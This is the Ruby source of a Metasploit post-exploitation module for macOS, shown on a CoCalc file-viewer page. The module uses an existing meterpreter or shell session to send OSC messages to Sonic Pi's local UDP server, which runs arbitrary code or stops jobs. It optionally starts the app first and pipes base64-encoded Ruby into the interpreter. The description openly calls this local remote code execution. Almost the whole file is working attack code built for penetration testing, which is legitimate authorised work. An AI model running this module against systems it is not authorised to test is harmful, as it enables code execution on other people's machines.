CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/manage/sonic_pi.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'OS X Manage Sonic Pi',
13
'Description' => %q{
14
This module controls Sonic Pi via its local OSC server.
15
16
The server runs on 127.0.0.1:4557 and receives OSC messages over UDP.
17
18
Yes, this is RCE, but it's local. I suggest playing music. :-)
19
},
20
'Author' => [
21
'Sam Aaron', # Sonic Pi
22
'wvu' # Module and Sonic Pi example
23
],
24
'References' => [
25
%w[URL https://sonic-pi.net/],
26
%w[URL https://github.com/samaaron/sonic-pi/wiki/Sonic-Pi-Internals----GUI-Ruby-API],
27
%w[URL http://opensoundcontrol.org/spec-1_0]
28
],
29
'License' => MSF_LICENSE,
30
'Platform' => 'osx',
31
'SessionTypes' => %w[meterpreter shell],
32
'Actions' => [
33
['Run', { 'Description' => 'Run Sonic Pi code' }],
34
['Stop', { 'Description' => 'Stop all jobs' }]
35
],
36
'DefaultAction' => 'Run',
37
'Notes' => {
38
'SideEffects' => [AUDIO_EFFECTS, SCREEN_EFFECTS]
39
}
40
)
41
)
42
43
register_options([
44
OptAddress.new('OSC_HOST', [true, 'OSC server host', '127.0.0.1']),
45
OptPort.new('OSC_PORT', [true, 'OSC server port', 4557]),
46
OptBool.new('START_SONIC_PI', [true, 'Start Sonic Pi', false]),
47
OptPath.new(
48
'FILE',
49
[
50
true,
51
'Path to Sonic Pi code',
52
File.join(Msf::Config.data_directory, 'post', 'sonic_pi_example.rb')
53
]
54
)
55
])
56
57
register_advanced_options([
58
OptString.new(
59
'SonicPiPath',
60
[
61
true,
62
'Path to Sonic Pi executable',
63
'/Applications/Sonic Pi.app/Contents/MacOS/Sonic Pi'
64
]
65
),
66
OptString.new(
67
'RubyPath',
68
[
69
true,
70
'Path to Ruby executable',
71
'/Applications/Sonic Pi.app/server/native/ruby/bin/ruby'
72
]
73
)
74
])
75
end
76
77
def osc_host
78
datastore['OSC_HOST']
79
end
80
81
def osc_port
82
datastore['OSC_PORT']
83
end
84
85
def sonic_pi
86
datastore['SonicPiPath'].shellescape
87
end
88
89
def ruby
90
datastore['RubyPath'].shellescape
91
end
92
93
def check_lsof
94
cmd_exec("lsof -ni :#{osc_port} && echo true").end_with?('true')
95
end
96
97
def run
98
begin
99
unless check_lsof
100
print_error('Sonic Pi is not running')
101
102
return if @tried
103
104
if datastore['START_SONIC_PI']
105
print_status('Starting Sonic Pi...')
106
107
# XXX: shell_command_token uses ; as a command separator
108
cmd_exec("#{sonic_pi} & :")
109
sleep(10)
110
111
@tried = true
112
raise RuntimeError
113
end
114
115
return
116
end
117
rescue RuntimeError
118
retry
119
end
120
121
print_good('Sonic Pi is running')
122
123
case action.name
124
when 'Run'
125
print_status("Running Sonic Pi code: #{datastore['FILE']}")
126
when 'Stop'
127
print_status('Stopping all jobs')
128
end
129
130
cmd = "echo #{Rex::Text.encode_base64(code)} | base64 -D | #{ruby}"
131
132
vprint_status(cmd)
133
cmd_exec(cmd)
134
end
135
136
def code
137
<<~EOF
138
require 'socket'
139
UDPSocket.new.send("#{msg}", 0, '#{osc_host}', #{osc_port})
140
EOF
141
end
142
143
def msg
144
Rex::Text.to_hex_ascii(
145
case action.name
146
when 'Run'
147
"/run-code\x00\x00\x00,ss\x00#{agent}#{file}"
148
when 'Stop'
149
"/stop-all-jobs\x00\x00,\x00\x00\x00"
150
end
151
)
152
end
153
154
def agent
155
# Generate random null-terminated agent string
156
agent = "#{Faker::App.name}\x00"
157
158
# Pad string with nulls until its length is a multiple of 32 bits
159
agent << "\x00" until agent.length % 4 == 0
160
161
# Return null-terminated and null-padded string
162
agent
163
end
164
165
def file
166
# Read file as null-terminated string
167
@file = "#{File.read(datastore['FILE'], mode: 'rb')}\x00"
168
169
# Pad string with nulls until its length is a multiple of 32 bits
170
@file << "\x00" until @file.length % 4 == 0
171
172
# Return null-terminated and null-padded string
173
@file
174
end
175
176
end
177
178